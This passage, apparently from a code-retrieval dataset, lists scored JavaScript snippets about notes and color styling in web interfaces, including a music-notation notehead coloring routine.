li.append(summary);\r\n li.click(function () showNote(note, li));\r\n $(\"#lineList\", slide.contentDocument).append(li);\r\n return li;\r\n }", "title": "" }, { "docid": "b346c76d008a5d1007e500aaa7998c68", "score": "0.59374785", "text": "function note(){\n let element = document.getElementById(\"textarea\")\n element.classList.add(\"note one\");\n if (noteone.add === \"note one\"){\n noteone.add(\"the new note\")\n }\n else(noteone.remove === \"note one\");{\n noteone.remove(\"remove the new note\")\n }\n}", "title": "" }, { "docid": "eeb2b9919ecad2c1edd8243369e67e0a", "score": "0.59273005", "text": "function edit_pencil() {\r\n document.getElementById(\"input-question-copy\").style.backgroundColor = \"white\"\r\n document.getElementById(\"input-question-copy\").readOnly = false\r\n return false;\r\n}", "title": "" }, { "docid": "eeb2b9919ecad2c1edd8243369e67e0a", "score": "0.59273005", "text": "function edit_pencil() {\r\n document.getElementById(\"input-question-copy\").style.backgroundColor = \"white\"\r\n document.getElementById(\"input-question-copy\").readOnly = false\r\n return false;\r\n}", "title": "" }, { "docid": "28cb1a16615a6e0c14cef458a8f39e7e", "score": "0.5925292", "text": "function changeColor(msg) {\n\t\t\tif (msg === \"Enjoy!\" || msg === \"Too much!\") {\n\t\t\t\t$scope.fontStyle = \"color:green\";\n\t\t\t\t$scope.borderStyle = \"border-color:green\";\n\t\t\t} else if (msg === \"Please enter the data first!\") {\n\t\t\t\t$scope.fontStyle = \"color:red\";\n\t\t\t\t$scope.borderStyle = \"border-color:red\";\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "9969654ed2ad99cc6133f9f69bddf211", "score": "0.59061825", "text": "function changeAllNextNoteColor(noteColor, buttonPressed) {\r\n switch (noteColor) {\r\n case \"Yellow\" :\r\n changeSelectedNoteColor(buttonPressed.parentNode, \"topBanner\", 1);\r\n\r\n colorOfAllNotes = \"Yellow\";\r\n break;\r\n case \"Pink\" :\r\n changeSelectedNoteColor(buttonPressed.parentNode, \"topBanner\", 2);\r\n\r\n colorOfAllNotes = \"Pink\";\r\n break;\r\n case \"Blue\" :\r\n changeSelectedNoteColor(buttonPressed.parentNode, \"topBanner\", 3);\r\n\r\n colorOfAllNotes = \"Blue\";\r\n break;\r\n case \"Green\" :\r\n changeSelectedNoteColor(buttonPressed.parentNode, \"topBanner\", 4);\r\n\r\n colorOfAllNotes = \"Green\";\r\n break;\r\n }\r\n}", "title": "" }, { "docid": "752a1104ed301c0e925536df468e3bed", "score": "0.5899725", "text": "function enterChoice() {\n $(this).css(\"background-color\", \"pink\");\n }", "title": "" }, { "docid": "af0c40c38a3d5d482cb402d8240696df", "score": "0.5896558", "text": "function appendNoteText(div, instructor, note) {\n\ttext = $(div).text();\n\t\n\tif (instructor && note) { \n\t\ttext = '<p style=\"background-color: #F0B2B2;\">' + text + '</p>';\n\t}\n\telse if (instructor && !note) {\n\t\ttext = '<p style=\"background-color: #ADC2FF;\">' + text + '</p>';\n\t}\n\telse if (!instructor && note) {\n\t\ttext = '<p style=\"background-color: #FFFF85;\">' + text + '</p>';\n\t}\n\telse if (!instructor && !note) {\n\t\ttext = '<p style=\"background-color: #B2FFFF;\">' + text + '</p>';\n\t}\n\t\n\t$('#textinput').append(text).show();\n}", "title": "" }, { "docid": "c158c42063770e205521bd7bc59dbac1", "score": "0.5838477", "text": "function ColorInput() {}", "title": "" }, { "docid": "f22772a815d78a2e3b4a96a25f1f3cc8", "score": "0.5796291", "text": "function changeHeadingColor()\n{\n let new_color = $(\"#id_main_color\").val();\n $(\".active\").css(\"background-color\", new_color);\n $(\".active\").css(\"border-color\", new_color);\n}", "title": "" }, { "docid": "e6b532326c8aa57eb04ae8d2a79cbc55", "score": "0.5782075", "text": "function buttoncolor(button,red,green,blue)\r\n{\r\n button.setAttribute('style', 'background-color:rgb('+red+', '+green+', '+blue+')');\r\n}", "title": "" }, { "docid": "f87b253f9c20a91a34b990a8390f20bc", "score": "0.5779225", "text": "function colorierNotes(note,ttd)\n {\n if (note <= 5) {\n $(ttd).css(\"background-color\", \"red\");\n }\n\n else if (note <10) {\n $(ttd).css(\"background-color\", \"orange\");\n }\n else if (note < 14) {\n $(ttd).css(\"background-color\", \"palegreen\");\n $(ttd).css(\"color\", \"blue\");\n }\n\n else {\n $(ttd).css(\"background-color\", \"green\");\n $(ttd).css(\"color\", \"white\");\n }\n }", "title": "" }, { "docid": "58ce5111ed0015b8e243d9c6e10b1f86", "score": "0.5771253", "text": "function colorPassedQuestionbar(element) {\n\n const backgroundColor = \"#AE6CBF\"\n const color = \"#fff\";\n\n //style elements\n element.style.backgroundColor = backgroundColor;\n element.style.color = color;\n\n\n}", "title": "" }, { "docid": "be044c3683cbe9283c57dd31c389aeb2", "score": "0.57586026", "text": "function setColor() {\n var check = false;\n var r = document.getElementById('Red').value;\n var g = document.getElementById('Green').value;\n var b = document.getElementById('Blue').value;\n var all = \"rgb(\" + r + \",\" + g + \",\" + b + \")\";\n document.getElementById(\"mytextarea\").style.backgroundColor = all;\n}", "title": "" }, { "docid": "7c4ae9529f3ccb20c5e9743d3d4226a8", "score": "0.5746254", "text": "function userColorInput(color) {\n userPattern.push(color);\n animateOneButton(color);\n patternMatchTest();\n}", "title": "" }, { "docid": "c90b28922c9840230d2e816ed7c027f7", "score": "0.5745772", "text": "changeColor() {\n\t\tthis.newColorEl.style.backgroundColor = \"rgb(\" + this.redEl.value + \",\" + this.greenEl.value + \", \" + this.blueEl.value + \")\";\n\t}", "title": "" }, { "docid": "7d0844283289ef3eecaa27ee99dc071f", "score": "0.5724743", "text": "function colorPassedQuestionbar(element) {\n\n const backgroundColor = \"#AE6CBF\"\n const color = \"#fff\";\n\n //style elements\n element.style.backgroundColor = backgroundColor;\n element.style.color = color;\n\n}", "title": "" }, { "docid": "f1e808073e380e4b4356cd74c6da3a67", "score": "0.57221216", "text": "function addNote() {\n const noteList = document.getElementById(\"notelist\");\n const newNote = document.createElement(\"bullet-note\");\n newNote.className = \"bullet\";\n newNote.dataset.starttime = false;\n newNote.dataset.important = false;\n noteList.appendChild(newNote);\n // newNote.getElementsByClassName(\"textbox\")[0].focus();\n}", "title": "" }, { "docid": "163e3ce88efc9878a28dd7652110e4a0", "score": "0.5721709", "text": "function ActiveNote(e) {\r\n if(!e.target.classList.contains(\"delete-note\")) {\r\n activeNoteId = e.target.dataset.id;\r\n TitleField.value = e.target.innerText;\r\n DescriptionField.value = e.target.dataset.description;\r\n TitleField.readOnly=true;\r\n DescriptionField.readOnly=true;\r\n }\r\n}", "title": "" }, { "docid": "be195d1f365e14c025320b531a4764d2", "score": "0.5714476", "text": "function noteAction(note, index, color, type){\n var keys = selectKeysOnDOM();\n\n if (type === 'attack') polySynth.triggerAttack(note);\n else if (type === 'release') polySynth.triggerRelease(note)\n\n keys[index].style.background = color;\n}", "title": "" }, { "docid": "a742d1305b84a9ef672356ee218c0dd0", "score": "0.5714403", "text": "addNewNote() {\n this.setState({\n active: {\n notes_name: '',\n notes_text: '',\n notes_user: 1\n },\n editing: true,\n button: 'Save'\n })\n }", "title": "" }, { "docid": "a6413eede1d07efff4f1a86e9131b685", "score": "0.5713387", "text": "function update_color(dont_replace_input_value){\n var x = bs_square.cursor.items[0].attr(\"cx\"),\n y = bs_square.cursor.items[0].attr(\"cy\"),\n hsb = {\n b: 1-(y-sdim.y)/sdim.l,\n s: (x-sdim.x)/sdim.l,\n h: hue()\n };\n\n current_color = Raphael.hsb2rgb(hsb.h, hsb.s,hsb.b);\n\n if(input_target){\n var c = current_color.hex;\n if(dont_replace_input_value !== true) { input_target.value = c;}\n if(hsb.b < 0.5){\n $(input_target).css(\"color\", \"#FFF\");\n } else {\n $(input_target).css(\"color\", \"#000\");\n }\n input_target.style.background = c;\n }\n\n }", "title": "" }, { "docid": "30125eb75a3252b8afbc67c5f97095c5", "score": "0.5710348", "text": "update_color() {\n if ( typeof this.col.button_color === 'function' ) {\n this.color = this.col.button_color(this.row, this.col)\n } else {\n this.color = this.col.button_color || 'white'\n }\n }", "title": "" }, { "docid": "037bb649c4c856dafd08b8eedc00372d", "score": "0.570833", "text": "function updateInputs(y, m, d, note) {\n\t\tlet m1 = m + 1;\n\t\tlet colourString = note.getColour();\n\t\tdocument.getElementById(\"yearInput\").value = y.toString();\n\t\tdocument.getElementById(\"monthInput\").value = m1.toString();\n\t\tdocument.getElementById(\"dateInput\").value = d.toString();\n\t\tdocument.getElementById(\"textInput\").value = note.getText();\n\t\tdocument.getElementById(\"colourInput\").value = colourString;\n\t\tdocument.getElementById(\"descInput\").value = note.getDesc();\n\t}", "title": "" }, { "docid": "7e3c4b9dd6d4ef78103d34d09844d06e", "score": "0.569887", "text": "function showAddBrewNote() {\n $(\".brew-form\").toggleClass(\"hidden\");\n $('.input-focus').focus();\n }", "title": "" }, { "docid": "1607673c847c14b1b84c5102a88f4029", "score": "0.5694892", "text": "function colorNotes(note, index, array) {\n\t\t\tconsole.log(\"colorNotes(note=\"+note+\" index=\"+index+\" array=\"+array+\" virgin=\"+virgin);\n \t\t\tif (virgin) {\n \t\t\t\tvirgin=0;\n \t\t\t\tFB_setNote(fb,\"Green\",note);\n \t\t\t} else {\n\t \t\t\tFB_setNote(fb,\"Blue\",note);\n\t \t\t}\n\t \t}", "title": "" }, { "docid": "ec439f4edce99805d11a2137faf91b84", "score": "0.56935996", "text": "function todoLight () {\nlet todo = document.querySelector('.todo');\ntodo.style.color = 'rgba(252, 252, 252, 0.8)';\nlet time = document.querySelector('#time');\nlet greetings = document.getElementById('greetings');\nlet userName = document.querySelector('.userName');\nlet en = document.querySelector('.en');\nen.style.color = \"#fff\";\nuserName.style.color = '#fff';\nuserName.style.webkitTextStroke = \"transparent\";\ntime.style.color = '#fff';\ntime.style.webkitTextStroke = \"transparent\";\ngreetings.style.color =\"#fff\";\ngreetings.style.webkitTextStroke = \"transparent\";\nlet quote = document.querySelector('.quote');\nquote.style.color = \"#fff\";\nlet quoteText = document.querySelector('.authorName');\nquoteText.style.color = \"#fff\";\ndocument.querySelector('.footer1').classList.add('footer2');\nlet input = document.querySelector('.input_container');\ninput.firstElementChild.style.color = 'rgb(0,0,0)';\ninput.firstElementChild.className = 'inputBox';\ninput.firstElementChild.style.boxShadow = 'none';\ninput.firstElementChild.style.backgroundColor = 'rgb(255,255,255,0.6)';\n}", "title": "" }, { "docid": "ab7dacfe3dc68aba87235c047c48877a", "score": "0.56721616", "text": "function colorFocus(nom)\n{\n\tdocument.getElementById(nom).style.backgroundColor=\"yellow\";\n}", "title": "" }, { "docid": "d673eae13b19dd7a3ab971cf91d5ffd9", "score": "0.5669764", "text": "function createNote() {\n $(\".note-box\").prepend(\"<div class='new-note'><div class='editable' contenteditable='true'></div><div class='toolbar'><i class='fa fa-trash' aria-hidden='true'></i><button onclick='document.execCommand('bold',false,true);'><i class='fa fa-bold' aria-hidden='true'></i></button><button onclick='document.execCommand('italic',false,true);'><i class='fa fa-italic' aria-hidden='true'></i></button><button onclick='document.execCommand('underline',false,true);'><i class='fa fa-underline' aria-hidden='true'></i></button><i class='fa fa-exclamation' aria-hidden='true'></i></div></div>\");\n }", "title": "" }, { "docid": "a6d5726b975d9583c496b20ee647b624", "score": "0.5650531", "text": "function updateRedTextInput(passedvalue){\n red.value = passedvalue;\n}", "title": "" }, { "docid": "03b0ea1f4ca5312ef23e93143353ff2d", "score": "0.56363136", "text": "function clickStyling(clicked) {\n $(clicked).css('background-color', 'rgba(255, 255, 255, 0.4)');\n $(clicked).css('text-shadow', '1px 1px 1px #000000d4');\n if ($(clicked).val() === 'X') {\n $(clicked).css('color', '#000');\n } else {\n $(clicked).css('color', '#fff');\n }\n}", "title": "" }, { "docid": "35ffa71c0f4189a2f7527226348662f6", "score": "0.5629238", "text": "function newNote() {\n let newNote = document.querySelector(\".input\")\n newNote.insertAdjacentHTML(\"beforeend\", `<div class=\"input\">\n <textarea class=\"textarea\" id=\"notebox\" name=\"notebox\" rows=\"11\" cols=\"76\">\n Enter note here.\n </textarea>\n \n <ul>\n <li class=\"row\">\n <button class=\"save-cancel-button\">\n Delete\n </button> \n </li> \n <li class=\"row\">\n <button class=\"save-cancel-button\">\n Save\n </button>\n </li>\n </ul> \n </div>`);\n \n }", "title": "" }, { "docid": "1dc6b1e4d96937de4830ffea76f85b73", "score": "0.5606547", "text": "function editInput(borderInput, active_word_color)\r\n{\r\n color = '0px 0px 4px ' + borderInput;\r\n // console.log(color);\r\n $('#textinput').css('box-shadow', color);\r\n $(\"#textinput:focus\").css('border-color', borderInput);//zmiana border inputa na zioelony/czerwonyu\r\n $(\".current-active-word\").css('color', active_word_color);\r\n}", "title": "" }, { "docid": "0d87b484838287caa0b84518233fd157", "score": "0.5597611", "text": "function colorPicker(e) {\n let input = document.getElementById(\"colorPicker\").value;\n e.style.background = input;\n e.style.opacity = \"1.0\";\n}", "title": "" }, { "docid": "204b0fd0263140050fc3fa6b1c800141", "score": "0.5596062", "text": "function addPetFunction(){\n alert(\"Enter Pet Details In Highlighted Fields.\\n\"\n + \"Click The Save Button When Done.\");\n document.getElementsByClassName(\"pet-input\");\n /* Hilighted Fields */\n document.getElementById(\"pet-name-input\").style.backgroundColor = \"hotpink\";\n document.getElementById(\"pet-input-breed\").style.backgroundColor = \"hotpink\";\n document.getElementById(\"gender-male-label\").style.color = \"hotpink\";\n document.getElementById(\"gender-female-label\").style.color = \"hotpink\";\n}", "title": "" }, { "docid": "887011ed50caa9b36a40e7b33e05f063", "score": "0.55853623", "text": "addNote() {\n // create a new note and added it to notesCon\n const newNote = new Note();\n// randos\n let randColor = Math.floor(Math.random() * this._colors.length);\n let randX = 100 + Math.floor(Math.random() * (window.innerWidth - (NOTE_WIDTH + 100)));\n let randY = 100 + Math.floor(Math.random() * (window.innerHeight - (NOTE_HEIGHT + 100)));\n\n newNote.noteText(DEFAULT_TEXT);\n this._selectedItem = newNote.note;\n this._notesCon.appendChild(newNote.note);\n\n newNote.note.addEventListener('click', this.selectedDiv, false);\n newNote.note.addEventListener('mousedown', move.startMoving, false);\n\n this.setColor(this._colors[randColor]);\n this.noteSetPosition(randX, randY);\n\n this.saveAll();\n\n }", "title": "" }, { "docid": "5b22fd0b16c4b15c57c96fd491d91b0a", "score": "0.55772716", "text": "function editNote(note) {\n let noteToBeEdited=note.parentNode.parentNode;\n let noteText=noteToBeEdited.getElementsByTagName(\"p\")[0].innerHTML;\n let id=noteToBeEdited.id;\n let obj={};\n obj.id=id;\n obj.text=noteText;\n prevNotes.push(obj);\n noteToBeEdited.removeChild(noteToBeEdited.getElementsByTagName(\"p\")[0]);\n noteToBeEdited.appendChild(createTextArea(noteText));\n noteToBeEdited.appendChild(createUpdateButton());\n noteToBeEdited.appendChild(createCancelEditButton());\n noteToBeEdited.getElementsByTagName(\"textarea\")[0].focus();\n}", "title": "" }, { "docid": "4c89df0d4bb047d61b28697f71461c61", "score": "0.55771714", "text": "function add(note){\n\t$(\".active.note-list-item\").removeClass('active');\n\t$(\"#noteList\").prepend('<a href=\"#\" class=\"list-group-item list-group-item-action active note-list-item border-bottom-0 border-top-0 pb-0\" id=\"note_'+note.id+'\">'\n\t\t\t\t\t + '<p class=\"mb-1\"><b>'+note.body+'</b></p>'\n\t\t\t\t\t\t\t + formatTimestamp(note.timestamp) \n\t\t\t\t\t\t\t+ '<hr class=\"ml-auto mr-auto mb-0\">'\n\t\t\t\t\t + '</a>');\n}", "title": "" }, { "docid": "8770d9972c0b47aa5d0cb6d340bece8f", "score": "0.5576826", "text": "function onbuttoncolor()\n {\n \tvar on=document.getElementById(\"imgbttn\");\n \ton.style.backgroundColor = \"#009688\";\n \ton.style.color=\"white\";\n }", "title": "" }, { "docid": "5125dda79ce7790b93b74264c8aa112f", "score": "0.5576131", "text": "function changeColor(e) {\n var keyCode = e.keyCode;\n console.log('keyCode is ' + keyCode);\n if (keyCode === 13) {\n var colorAssignment = 'background-color: ' + $input.value;\n document.querySelector('body').setAttribute('style', colorAssignment);\n var $listColor = document.createElement('li');\n $listColor.textContent = $input.value\n $listy.appendChild($listColor);\n $input.value = '';\n }\n}", "title": "" }, { "docid": "3e18a467cf82bc30a94b0716c72e00cf", "score": "0.55721384", "text": "static handleChangeColorButton() {\r\n\t}", "title": "" }, { "docid": "5acbceb14cfd8e36cd7a51791012f862", "score": "0.5571255", "text": "function SetEditorColours()\n{\n\treturn; //xx\n var txt = edit.GetText();\n\ttxt = SetColours( txt );\n edit.SetHtml( txt );\n textChanged = false;\n}", "title": "" }, { "docid": "170956c0871678d0d6dcb87a6a6877be", "score": "0.5570318", "text": "function changerfl1Color() {\n document.getElementById(\"1\").style.backgroundColor = \"#c6d0eb\";\n document.getElementById(\"1\").style.color = \"#205284\";\n document.getElementById(\"btnconfirm\").style.backgroundColor = \"#212c4f\";\n document.getElementById(\"btnconfirm\").style.color = \"#f0f3f5\";\n \n}", "title": "" }, { "docid": "79ff46457cc6b72da1ae0ad990e57cad", "score": "0.5570289", "text": "function addComments() {\n var cmnt = document.getElementById(\"add-comment\").value;\n var addCmnt = document.getElementById(\"comment-area\");\n addCmnt.innerHTML =\n '<p class=\"comment-content\"><span class=\"middle-align\">' +\n cmnt +\n \"</span></p>\" +\n addCmnt.innerHTML;\n var divcomment = document.getElementById(\"comment-area\");\n divcomment.style.backgroundColor = \"#D3D3D3\";\n}", "title": "" }, { "docid": "4c9e45ee8057b01832d08c49b0703fe3", "score": "0.55582386", "text": "function userColor() {\n changeColor = prompt(\n \"Which color would you like to use? (e.g. Blue, #000CFF, rgb(0, 12, 255)\"\n );\n changeBackground(changeColor);\n}", "title": "" }, { "docid": "fdcba124d494e48d50167b5d8b2a9af0", "score": "0.5558012", "text": "function changeColor(button) {\n colorSpan[button].textContent = colorPicker.value;\n colorSpan[button].style.color = colorPicker.value;\n colorButton[button].style.backgroundColor = colorPicker.value;\n}", "title": "" }, { "docid": "080014d216d39a667157897310a7a045", "score": "0.554055", "text": "onNewColor(title, color) {\n dispatch(addColor(title, color));\n }", "title": "" }, { "docid": "5caa05e1f09ea8f6fa8b1c0cbc05aeb3", "score": "0.5538949", "text": "function changeColorr(evt) {\n const li = evt.target.closest('#todoList > li') //gets the li element frorm the todo list\n \n if (li !== undefined)\n li.style.backgroundColor = '#eaebfe'; //changes background color\n}", "title": "" }, { "docid": "ccebe1656e35d8e08d69e829bab6e25c", "score": "0.5535202", "text": "function startStrokeColorShape(){\n strokeColor = document.getElementById(\"strokeColorShape\");\n strokeColor.value = \"#000000\";\n strokeColor.addEventListener(\"input\", changeColorsBrush);\n strokeColor.select();\n}", "title": "" }, { "docid": "cb29f959b917e4ad74f5f851b2fcdef7", "score": "0.5530357", "text": "function highlightIngredient(e) {\n this.style.backgroundColor = '#d9edf7';\n}", "title": "" }, { "docid": "fda1b36737f9ac243269a88e69c5e332", "score": "0.55271757", "text": "function continueRecording(e) {\n if (e.target.style.backgroundColor !== \"rgb(28, 255, 132)\") {\n e.target.style.backgroundColor = \"rgb(255, 197, 153)\";\n }\n document.getElementById(\"pickedLetters\").value += e.target.textContent;\n}", "title": "" }, { "docid": "c51f0d401194126fea64aceb07ba131f", "score": "0.55208826", "text": "function addNote(clickedDate) {\n\t\tlet y,m,d,t,c,desc;\n\t\tif (clickedDate == null) {\n\t\ty = document.getElementById(\"yearInput\").value;\n\t\tm = document.getElementById(\"monthInput\").value;\n\t\tlet mInt = parseInt(m);\n\t\tmInt--;\n\t\tm = mInt.toString();\n\t\td = document.getElementById(\"dateInput\").value;\n\t\tt = document.getElementById(\"textInput\").value;\n\t\tlet cString = document.getElementById(\"colourInput\").value;\n\t\tc = cString;\n\t\tdesc = document.getElementById(\"descInput\").value;\n\t\t} else {\n\t\t\ty = currYear;\n\t\t\tm = currMonth;\n\t\t\td = clickedDate;\n\t\t\tt = \"\";\n\t\t\tc = \"rgb(0, 133, 227)\";\n\t\t\tdesc = \"\";\n\t\t}\n\n\t\t\n\t\tlet noteDate = getNoteDate(y, m, d);\n\t\tif (noteDate == null) {\n\t\t\tnoteDate = new NoteDate(y, m, d);\n\t\t\tnoteDateList.push(noteDate);\n\t\t}\n\t\tlet note = new Note(t, c, desc);\n\t\t\n\t\tif (parseInt(y) == sYear && parseInt(m) == sMonth && parseInt(d) == sDate) {\n\t\t\tnoteDate.getNoteList().splice(sIndex, 0, note);\n\t\t} else {\n\t\t\tnoteDate.addNote(note);\n\t\t}\n\n\t\tchrome.storage.sync.set({\"noteDateList\": noteDateList}, function(){});\n\t\treturn note;\n\t}", "title": "" }, { "docid": "3c359455d5749008917f78ccbd7ffb81", "score": "0.551871", "text": "function addRed(event) {\n let redInc = event.target.getAttribute(\"data-inc\");\n red = red + Number(redInc);\n\n //updates div to show current color with new value after button press\n colorDiv.innerHTML = \"rgb(\"+red+\",\"+green+\",\"+blue+\")\";\n}", "title": "" }, { "docid": "600c743029b14d8159aa6bc297ff4162", "score": "0.55177593", "text": "function FB_setNote(fb,color,note) {\n\t\t//console.log(\"FB_setNote(fb=\"+fb+\",color=\"+color+\",note=\"+note+\")\");\n\t\tFB_set(fb,FB_colorNum(color),FB_noteNum(note));\n\t}", "title": "" }, { "docid": "59eacd88520b39e286e58b7caf7aad6b", "score": "0.55124444", "text": "function inputOnFocus(what)\r\n\t{\r\n\tif (!what.alreadyClicked)\r\n\t\t{\r\n\t\twhat.value = \"\";\r\n\t\twhat.style.color = defaultInputTextColor;\r\n\t\twhat.alreadyClicked = true;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "11db29284ee678c13928835e74f428d5", "score": "0.5512219", "text": "function changeColor (newColor) {\n let btn = document.getElementById('text');\n btn.style.color = newColor;\n}", "title": "" }, { "docid": "aae354936b4e030ecd002ddd79e09904", "score": "0.550347", "text": "function changeBtn0BgColor(colorOfChoice){\n document.getElementById('btn0Style').style.background=colorOfChoice;\n}", "title": "" }, { "docid": "3e9bf6d90243c3bc808c2f3447f86033", "score": "0.55019647", "text": "function FIXActive(){\r\n document.getElementById(\"FIX1\").style.backgroundColor = \"yellow\";\r\n document.getElementById(\"FIX1\").style.color = \"black\";\r\n}", "title": "" }, { "docid": "999f872eb66df7a1c0e94da6b7c519f6", "score": "0.55017555", "text": "function showSaveBackGround() {\n color = this.value;\n page.style.backgroundColor = color;\n }", "title": "" }, { "docid": "19b428cb9c47e54e46947f3fb9dd8190", "score": "0.55009925", "text": "function note_color(note) {\n // notes with a 'nix:' prefix get a different color\n return (note.match(/^nix:/) ? \"blue\" : \"orange\" );\n }", "title": "" }, { "docid": "81f122e9c95213b4bb48ff7f33fe4c79", "score": "0.5489964", "text": "setColor(input) {\n var color, rgb;\n color = tinycolor(input);\n if (color._format) {\n rgb = color.toRgb();\n this.currentSliderColor.RGB = {\n r: rgb.r / 255,\n g: rgb.g / 255,\n b: rgb.b / 255\n };\n this.updateSliders('RGB');\n return this.updateImage();\n } else {\n return this.updateInfo();\n }\n }", "title": "" }, { "docid": "69bcf1f59730d4ff7f4c110432c8dbd2", "score": "0.5487358", "text": "function changeSelectedNoteColor(locationInHTML, locationOnPage, whichIsChecked) {\r\n var colorButtons;\r\n var whichIsCheckedIndex;\r\n \r\n if (locationOnPage == \"topBanner\") {\r\n colorButtons = [3, 4, 5, 6];\r\n whichIsCheckedIndex = whichIsChecked + 2;\r\n colorButtons.splice(colorButtons.indexOf(whichIsCheckedIndex), 2);\r\n\r\n } else {\r\n colorButtons = [3, 4, 5, 6];\r\n whichIsCheckedIndex = whichIsChecked + 2;\r\n colorButtons.splice(colorButtons.indexOf(whichIsCheckedIndex), 1);\r\n }\r\n\r\n // Set up the selected button\r\n locationInHTML.children[whichIsCheckedIndex].classList = \"\";\r\n if (locationOnPage == \"topBanner\") {\r\n locationInHTML.children[whichIsCheckedIndex].classList.add(\"top--banner__btn--color--selected\");\r\n } else {\r\n locationInHTML.children[whichIsCheckedIndex].classList.add(\"div--draggable__top--banner__btn--color--selected\");\r\n }\r\n\r\n // Set up non selected buttons\r\n for (let buttonNotSelected of colorButtons) {\r\n locationInHTML.children[buttonNotSelected].classList = \"\";\r\n\r\n if (locationOnPage == \"topBanner\") {\r\n locationInHTML.children[buttonNotSelected].classList.add(\"top--banner__btn--color\");\r\n } else {\r\n locationInHTML.children[buttonNotSelected].classList.add(\"div--draggable__top--banner__btn--color\");\r\n }\r\n }\r\n}", "title": "" }, { "docid": "9e71f1ac1f1c45472c83fc7ae20db633", "score": "0.5479679", "text": "function focusOn() {\n let target = this.parentNode;\n let label = this.labels;\n\n let newColor = colorRandom();\n\n target.style.setProperty('border' , `3px dashed ${newColor}`)\n label[0].style.setProperty('color' , `${newColor}`)\n}", "title": "" }, { "docid": "8aa7b714ff51453a9f74379a4a8257fb", "score": "0.54781413", "text": "function updateBoxes(color, code, newValue) {\r\n\t\tdocument.getElementById(color).style.background = newValue;\r\n\t\tdocument.getElementById(code).value = newValue;\r\n}", "title": "" }, { "docid": "9a4c1a73127ee0ab3e5a03753f12e917", "score": "0.5472086", "text": "addNote() {\n const head = common.addNotesHead;\n const body = common.addNotesBody;\n if (!!head.value.trim() && !!body.value.trim()) {\n const data = {\n id: service.getUID(),\n head: head.value,\n body: body.value,\n color: common.addNoteWrapper.dataset.color\n };\n service.addNotes(data);\n service.updateUID(service.getUID() + 1);\n common.notesContainer.insertBefore(\n notes.createNote(data),\n common.notesContainer.firstChild\n );\n placement.adjust(16);\n head.value = \"\";\n body.value = \"\";\n common.addNoteWrapper.dataset.color = \"\";\n } else {\n alert(\"please provide value of head and body for the note\");\n }\n }", "title": "" }, { "docid": "5a4106937d907434e303e3885cdba896", "score": "0.5470339", "text": "function recolor() {\r\n document.querySelector(\".first-paragraph\").classList.add(\"paragraph-color\");\r\n}", "title": "" }, { "docid": "792116a91479911061dff723d46c3e21", "score": "0.5467382", "text": "function addNote(e) {\n if (e.key == \"Enter\") {\n var li = document.createElement(\"li\");\n li.innerText = e.target.value;\n e.target.value = \"\";\n var ol = e.target.parentElement.querySelector(\"ol\");\n ol.append(li);\n ol.style.display = \"block\";\n ol.style.color = \"black\";\n underline(e.target);\n }\n}", "title": "" }, { "docid": "297f583d813d031913c05c10d6bf2cfa", "score": "0.54584086", "text": "color() {\n const defaultColorNotehead = this.rules.DefaultColorNotehead;\n const defaultColorRest = this.rules.DefaultColorRest;\n const defaultColorStem = this.rules.DefaultColorStem;\n const transparentColor = \"#00000000\"; // transparent color in vexflow\n let noteheadColor; // if null: no noteheadcolor to set (stays black)\n let sourceNoteNoteheadColor;\n const vfStaveNote = this.vfStaveNote;\n for (let i = 0; i < this.notes.length; i++) {\n const note = this.notes[i];\n sourceNoteNoteheadColor = note.sourceNote.NoteheadColor;\n noteheadColor = sourceNoteNoteheadColor;\n // Switch between XML colors and automatic coloring\n if (this.rules.ColoringMode === DrawingParameters_1.ColoringModes.AutoColoring ||\n this.rules.ColoringMode === DrawingParameters_1.ColoringModes.CustomColorSet) {\n if (note.sourceNote.isRest()) {\n noteheadColor = this.rules.ColoringSetCurrent.getValue(-1);\n }\n else {\n const fundamentalNote = note.sourceNote.Pitch.FundamentalNote;\n noteheadColor = this.rules.ColoringSetCurrent.getValue(fundamentalNote);\n }\n }\n if (!note.sourceNote.PrintObject) {\n noteheadColor = transparentColor; // transparent\n }\n else if (!noteheadColor // revert transparency after PrintObject was set to false, then true again\n || noteheadColor === \"#000000\" // questionable, because you might want to set specific notes to black,\n // but unfortunately some programs export everything explicitly as black\n ) {\n noteheadColor = this.rules.DefaultColorNotehead;\n }\n // DEBUG runtime coloring test\n /*const testColor: string = \"#FF0000\";\n if (i === 2 && Math.random() < 0.1 && note.sourceNote.NoteheadColor !== testColor) {\n const measureNumber: number = note.parentVoiceEntry.parentStaffEntry.parentMeasure.MeasureNumber;\n noteheadColor = testColor;\n console.log(\"color changed to \" + noteheadColor + \" of this note:\\n\" + note.sourceNote.Pitch.ToString() +\n \", in measure #\" + measureNumber);\n }*/\n if (!sourceNoteNoteheadColor && this.rules.ColoringMode === DrawingParameters_1.ColoringModes.XML && note.sourceNote.PrintObject) {\n if (!note.sourceNote.isRest() && defaultColorNotehead) {\n noteheadColor = defaultColorNotehead;\n }\n else if (note.sourceNote.isRest() && defaultColorRest) {\n noteheadColor = defaultColorRest;\n }\n }\n if (noteheadColor && note.sourceNote.PrintObject) {\n note.sourceNote.NoteheadColorCurrentlyRendered = noteheadColor;\n }\n else if (!noteheadColor) {\n continue;\n }\n // color notebeam if all noteheads have same color and stem coloring enabled\n if (this.rules.ColoringEnabled && note.sourceNote.NoteBeam && this.rules.ColorBeams) {\n const beamNotes = note.sourceNote.NoteBeam.Notes;\n let colorBeam = true;\n for (let j = 0; j < beamNotes.length; j++) {\n if (beamNotes[j].NoteheadColorCurrentlyRendered !== noteheadColor) {\n colorBeam = false;\n }\n }\n if (colorBeam) {\n if (vfStaveNote.beam !== null && vfStaveNote.beam.setStyle) {\n vfStaveNote.beam.setStyle({ fillStyle: noteheadColor, strokeStyle: noteheadColor });\n }\n }\n }\n if (vfStaveNote) {\n if (vfStaveNote.note_heads) { // see VexFlowConverter, needs Vexflow PR\n const notehead = vfStaveNote.note_heads[i];\n if (notehead) {\n notehead.setStyle({ fillStyle: noteheadColor, strokeStyle: noteheadColor });\n }\n }\n }\n }\n // color stems\n let stemColor = defaultColorStem; // reset to black/default when coloring was disabled. maybe needed elsewhere too\n if (this.rules.ColoringEnabled) {\n stemColor = this.parentVoiceEntry.StemColor; // TODO: once coloringSetCustom gets stem color, respect it\n if (!stemColor\n || stemColor === \"#000000\") { // see above, noteheadColor === \"#000000\"\n stemColor = defaultColorStem;\n }\n if (this.rules.ColorStemsLikeNoteheads && noteheadColor) {\n // condition could be even more fine-grained by only recoloring if there was no custom StemColor set. will be more complex though\n stemColor = noteheadColor;\n }\n }\n let stemTransparent = true;\n for (const 